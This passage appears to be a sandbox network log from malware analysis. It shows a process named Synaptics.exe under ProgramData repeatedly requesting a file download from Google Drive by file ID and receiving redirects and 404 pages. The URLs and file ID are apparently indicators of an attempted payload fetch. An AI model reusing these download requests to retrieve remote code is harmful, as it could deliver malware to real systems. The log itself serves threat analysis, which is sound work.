2024-08-22 11:10:50 UTC	1246	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 22 Aug 2024 11:10:50 GMT Content-Security-Policy: script-src 'report-sample' 'nonce-LUVDFPclIN7DKcn4VyNZFQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Length: 1642 X-GUploader-UploadID: AHxI1nN4HsdWVsASyhjvEYRizisxOcYwaAnEfPkLBiobytIgwbEYUGLemXRutWNQeHdZPYLDkMM Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-08-22 11:10:50 UTC	144	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 Data Ascii: <html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found
2024-08-22 11:10:50 UTC	1390	IN	Data Raw: 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 63 5f 61 68 32 63 79 51 39 74 68 68 6f 74 2d 44 6a 74 58 45 4f 77 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 Data Ascii: )!!1</title><style nonce="c_ah2cyQ9thhot-DjtXEOw">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0
2024-08-22 11:10:50 UTC	108	IN	Data Raw: 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: s an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
76	192.168.2.8	49830	216.58.212.129	443	8004	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-22 11:10:50 UTC	375	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=516=Ca2UqVSTB9XjGEaykz4Dhh-KwGI9wKP9WEBIY7LAlMaQ5zWWbMuEQKAtsLKqAXPXi778oF4SWnfv48WJRtMowHM3K-JrnbUsYP72ka7DUZwVQV6DpFrag4bZKa3qTGCMYeGARvZ0iETZf1Pc8xtzNv_VuuZv534aGWDXT36w3nc
2024-08-22 11:10:50 UTC	1246	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 22 Aug 2024 11:10:50 GMT Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: script-src 'report-sample' 'nonce---qMxXlT0ZB-MTL2JbAdTA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Length: 1642 X-GUploader-UploadID: AHxI1nPVgnIPTnFuE-FHWiIPXxnXU--g3gm0xl69yb0TdqLilErR_8epJayuGVjNolyoULbKexU Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-08-22 11:10:50 UTC	144	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 Data Ascii: <html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found
2024-08-22 11:10:50 UTC	1390	IN	Data Raw: 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 42 57 44 5a 69 34 6a 52 47 4e 51 54 35 69 4c 35 59 79 66 31 63 51 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 Data Ascii: )!!1</title><style nonce="BWDZi4jRGNQT5iL5Yyf1cQ">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0
2024-08-22 11:10:50 UTC	108	IN	Data Raw: 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: s an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
77	192.168.2.8	49833	216.58.206.46	443	8004	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-22 11:10:51 UTC	332	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=516=Ca2UqVSTB9XjGEaykz4Dhh-KwGI9wKP9WEBIY7LAlMaQ5zWWbMuEQKAtsLKqAXPXi778oF4SWnfv48WJRtMowHM3K-JrnbUsYP72ka7DUZwVQV6DpFrag4bZKa3qTGCMYeGARvZ0iETZf1Pc8xtzNv_VuuZv534aGWDXT36w3nc

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
78	192.168.2.8	49834	216.58.206.46	443	8004	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-22 11:10:51 UTC	332	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=516=Ca2UqVSTB9XjGEaykz4Dhh-KwGI9wKP9WEBIY7LAlMaQ5zWWbMuEQKAtsLKqAXPXi778oF4SWnfv48WJRtMowHM3K-JrnbUsYP72ka7DUZwVQV6DpFrag4bZKa3qTGCMYeGARvZ0iETZf1Pc8xtzNv_VuuZv534aGWDXT36w3nc

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
79	192.168.2.8	49835	216.58.212.129	443	8004	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-22 11:10:51 UTC	375	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=516=Ca2UqVSTB9XjGEaykz4Dhh-KwGI9wKP9WEBIY7LAlMaQ5zWWbMuEQKAtsLKqAXPXi778oF4SWnfv48WJRtMowHM3K-JrnbUsYP72ka7DUZwVQV6DpFrag4bZKa3qTGCMYeGARvZ0iETZf1Pc8xtzNv_VuuZv534aGWDXT36w3nc

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
80	192.168.2.8	49839	216.58.206.46	443	8004	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-22 11:10:52 UTC	332	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=516=Ca2UqVSTB9XjGEaykz4Dhh-KwGI9wKP9WEBIY7LAlMaQ5zWWbMuEQKAtsLKqAXPXi778oF4SWnfv48WJRtMowHM3K-JrnbUsYP72ka7DUZwVQV6DpFrag4bZKa3qTGCMYeGARvZ0iETZf1Pc8xtzNv_VuuZv534aGWDXT36w3nc
2024-08-22 11:10:52 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 22 Aug 2024 11:10:52 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: script-src 'report-sample' 'nonce-UAvFxjkm_Nn4s5qLL1TnoQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
81	192.168.2.8	49838	216.58.206.46	443	8004	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-22 11:10:52 UTC	332	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=516=Ca2UqVSTB9XjGEaykz4Dhh-KwGI9wKP9WEBIY7LAlMaQ5zWWbMuEQKAtsLKqAXPXi778oF4SWnfv48WJRtMowHM3K-JrnbUsYP72ka7DUZwVQV6DpFrag4bZKa3qTGCMYeGARvZ0iETZf1Pc8xtzNv_VuuZv534aGWDXT36w3nc
2024-08-22 11:10:52 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 22 Aug 2024 11:10:52 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: script-src 'report-sample' 'nonce-So1O6tHo3GwF-bj4gsmjKw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
82	192.168.2.8	49842	216.58.212.129	443	8004	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-22 11:10:53 UTC	375	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=516=Ca2UqVSTB9XjGEaykz4Dhh-KwGI9wKP9WEBIY7LAlMaQ5zWWbMuEQKAtsLKqAXPXi778oF4SWnfv48WJRtMowHM3K-JrnbUsYP72ka7DUZwVQV6DpFrag4bZKa3qTGCMYeGARvZ0iETZf1Pc8xtzNv_VuuZv534aGWDXT36w3nc
2024-08-22 11:10:53 UTC	1246	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 22 Aug 2024 11:10:53 GMT Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-k5i9pZcSsfcGZ_6NkazamA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Length: 1642 X-GUploader-UploadID: AHxI1nOh0fDbIihgvwHw_SfZtw2UV0BXHQVwZeDjTyp_bDrLc6JuidBph7AGK8zCdbTC78DsqII Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-08-22 11:10:53 UTC	144	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 Data Ascii: <html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found
2024-08-22 11:10:53 UTC	1390	IN	Data Raw: 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 67 4e 79 6b 38 78 31 65 5a 5a 50 76 41 46 43 4e 34 76 50 71 6e 41 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 Data Ascii: )!!1</title><style nonce="gNyk8x1eZZPvAFCN4vPqnA">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0
2024-08-22 11:10:53 UTC	108	IN	Data Raw: 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: s an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
83	192.168.2.8	49844	216.58.212.129	443	8004	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-22 11:10:53 UTC	375	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=516=Ca2UqVSTB9XjGEaykz4Dhh-KwGI9wKP9WEBIY7LAlMaQ5zWWbMuEQKAtsLKqAXPXi778oF4SWnfv48WJRtMowHM3K-JrnbUsYP72ka7DUZwVQV6DpFrag4bZKa3qTGCMYeGARvZ0iETZf1Pc8xtzNv_VuuZv534aGWDXT36w3nc
2024-08-22 11:10:53 UTC	1246	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 22 Aug 2024 11:10:53 GMT Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-DmKSU9v7INYeTtf_C063lQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Length: 1642 X-GUploader-UploadID: AHxI1nNfvsUyedKc0F9xL-1uTlmm7EWZuDjgei0qTWi1NRwTELDJaNlcO1gkyZjGgsbvrxthpvo Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-08-22 11:10:53 UTC	144	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 Data Ascii: <html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found
2024-08-22 11:10:53 UTC	1390	IN	Data Raw: 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 6c 78 59 4c 73 71 64 51 79 50 41 5a 39 59 30 71 58 55 4a 78 34 77 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 Data Ascii: )!!1</title><style nonce="lxYLsqdQyPAZ9Y0qXUJx4w">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0
2024-08-22 11:10:53 UTC	108	IN	Data Raw: 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: s an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
84	192.168.2.8	49841	216.58.206.46	443	8004	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-22 11:10:53 UTC	332	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=516=Ca2UqVSTB9XjGEaykz4Dhh-KwGI9wKP9WEBIY7LAlMaQ5zWWbMuEQKAtsLKqAXPXi778oF4SWnfv48WJRtMowHM3K-JrnbUsYP72ka7DUZwVQV6DpFrag4bZKa3qTGCMYeGARvZ0iETZf1Pc8xtzNv_VuuZv534aGWDXT36w3nc
2024-08-22 11:10:53 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 22 Aug 2024 11:10:53 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-z3cm-f2t4ktKyGU8v8zjCw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
85	192.168.2.8	49843	216.58.206.46	443	8004	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
